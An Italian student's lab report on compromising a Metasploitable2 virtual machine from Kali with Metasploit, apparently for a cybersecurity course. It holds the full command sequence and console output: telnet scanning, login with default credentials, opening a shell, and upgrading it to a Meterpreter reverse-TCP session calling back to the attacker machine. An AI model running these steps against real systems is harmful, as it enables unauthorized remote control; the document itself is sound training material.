

Report di Laboratorio: Ethical Hacking

profilo studente

Gabriel Giustinelli 15/06/2004

studente presso **Epicode** classe **CS0525**

indirizzo **CyberSecurity Specialist**

Il seguente contenuto tratta argomenti puramente accademici in laboratori controllati senza includere terze parti.

Hacking di Metasploitable2 con Kali

In questa relazione sarà illustrato il percorso di penetration testing svolto dal medesimo studente per adempiere ad un craccaggio, in un ambiente virtuale e del tutto inoffensivo, della macchina virtuale **Metasploitable2** (ovvero la macchina vittima) tramite macchina virtuale **Kali** linux (ossia la macchina attaccante) con un tool chiamato **metasploit** in particolare andremo ad utilizzare **l'exploit telnet**.

1. Scansione del Servizio Telnet

Nell'esercizio di oggi andiamo ad utilizzare lo strumento metasploit.

con il comando **\$msfconsole** per avviare il tool

Per analizzare il servizio Telnet sulla macchina

Metasploitable2 utilizzando il modulo

auxiliary/scanner/telnet/telnet version usiamo

il comando:

```
$use auxiliary/scanner/telnet/telnet_version
```

Dopo di che andiamo a vedere quali parametri

servono per poter lanciare lo scanner con il

comando:

\$show options

```

$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

./ioDr0p;
~dh15ad9yZ0vYIQ==+
'ssm=Destroy.No.Data=s'
-hjz-Maintain.No.Persistence=-h=
iodNo2-Above.All.Else.Do.No.Harm=-h=
./etc/showdbs.DbgData.k200R20L1=-No_R0MP/-
--SeckCoin+=e.AMD
~/ssh/id_rsa.Des-
dopeM.Nocrand=
we're.all.valie/
[PLACEDINHERE]:
msf exploit -j.
j--kxwvcl-
<script>Ac816/
NW_AUTHORITY.DO
09.La.2011raid
hevnmtSurp02SN.
TOWHOUSE=-s:
$mapop os
!Awun.da:
Ring0:
23di
/-
./yo-
ence.N{(){}|<>||:
[Shall.We.Play.A.GameTtro/
-goy.iRightHereHereS
..th3_HIV3_UZV/RFNW-JmM+.
NIM=-WE.ARE.S=-MMMS
++KARAS.CITY S=-
J-HAXXERS-/
esc:wql:
+++AH
```

```
mst auxiliary(scanner/telnet/telnet_version) > show options
```

```
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current	Setting	Required	Description
PASSWORD			no	The password for the specified username
RHOSTS			yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23		yes	The target port (TCP)
THREADS	1		yes	The number of concurrent threads (max one per host)
TIMEOUT	30		yes	Timeout for the Telnet probe
USERNAME			no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf auxiliary(scanner/telnet/telnet_version) >
```

```
$set RHOSTS 192.168.1.149
```

Possiamo successivamente lanciare il comando **run** e grazie a questo scanner recuperiamo le credenziali di accesso della macchina.

2. Autenticazione e Creazione della Sessione

con **show options** andiamo a vedere quali parametri servono per poter lanciare l'attacco con successo.

- **set RHOSTS 192.168.1.149**
- **set USERNAME msfadmin**
- **set PASSWORD msfadmin**

- sei **STOP_ON_SUCCESS true**

Una volta eseguiti i comandi si lancia l'attacco

```
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.1.149:23 - No active DB -- Credential data will not be saved!
[+] 192.168.1.149:23 - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23 - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.13:44333 → 192.168.1.149:23) at 2026-01-20 11:20:30 -0500
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > █
```

Una volta entrato il modulo stabilirà una sessione di comando, il che ci da pieno controllo.

3. Gestione delle Sessioni

Per gestire le sessioni come prima cosa verifichiamo le sessioni attive con il comando:

- **sessions -l**

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====
```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell	TELNET msfadmin:msfadmin (192.168.1.149:23)	192.168.1.13:44333 → 192.168.1.149:23 (192.168.1.149)

Il quale ci da informazioni sulla nostra sessione di comando molto interessanti per poter interagire e controllare da remoto la nostra macchina vittima usiamo il comando:

- **sessions -i 1** (l'1 sta per l'ID della nostra sessione)

una volta dentro il terminale della Metasploitable2 possiamo fare qualsiasi comando e se vogliamo “fare danni” causando danni gravi volendo, ovviamente tutto l'insieme di queste azioni è completamente pericoloso.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:1d:5f:3b brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe1d:5f3b/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ █
```

Per prova del cracking verifichiamo se visualizzando l'ip si presenta per l'appunto l'ip della macchina vittima confermando così il successo dell'attacco all'accesso remoto.

4. Upgrade della Sessione a Meterpreter

Una volta eseguita la nostra sessione di comando eseguiamo il comando **Ctrl+Z** per uscire dalla sessione e premiamo **y** per confermare.

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > █
```

Mettendo così la nostra sessione in **background**

Andiamo ad eseguire il modulo **post/multi/manage/shell_to_meterpreter** per eseguire l'upgrade della sessione a Meterpreter.

Controlliamo le opzioni con il comando **show options** per effettuare tutte le configurazioni necessarie per completare l'operazione.

```
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  ---      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     no               no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   yes              yes       The session to run this module on

View the full module info with the info, or info -d command.
```

Andando ad inserire quelle che sono le informazioni richieste come l'host della nostra macchina e l'id della sessione andiamo ad eseguire i seguenti comandi:

- **set LHOSTS 192.168.1.13**
- **set SESSION 1**

Possiamo mandare l'upgrade con il comando **run** e ci andrà a creare una seconda sessione, ovvero l'upgrade della prima.

```
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.13:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.13:4433 → 192.168.1.149:43686) at 2026-01-20 12:08:13 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
```

Eseguendo il comando:

- **sessions -i 2**

possiamo entrare in meterpreter e avremo un controllo estremamente più ampio e completo che non potremmo avere con la prima sessione.

alcuni esempi delle possibilità con meterpreter sono:

- fare screenshot della macchina vittima
- controllare visivamente lo schermo della macchina vittima
- avere accessi illimitati tutte da remoto
- e molte altre cose...

Possiamo anche aprire una shell per accedere al terminale stesso.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > getuid
Server username: msfadmin
meterpreter > shell
Process 4954 created.
Channel 1 created.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:1d:5f:3b brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe1d:5f3b/64 scope link
        valid_lft forever preferred_lft forever
```

5. conclusione

L'esercitazione di cracking è stata eseguita con successo! andando a sottolineare quelle che sono le vulnerabilità della sicurezza della macchina e soprattutto esponendo quelle che sono le pericolosissime conseguenze di queste vulnerabilità.

Il soprastante lavoro è stato svolto appositamente per la consapevolezza e l'istruzione formativa di questi rischi.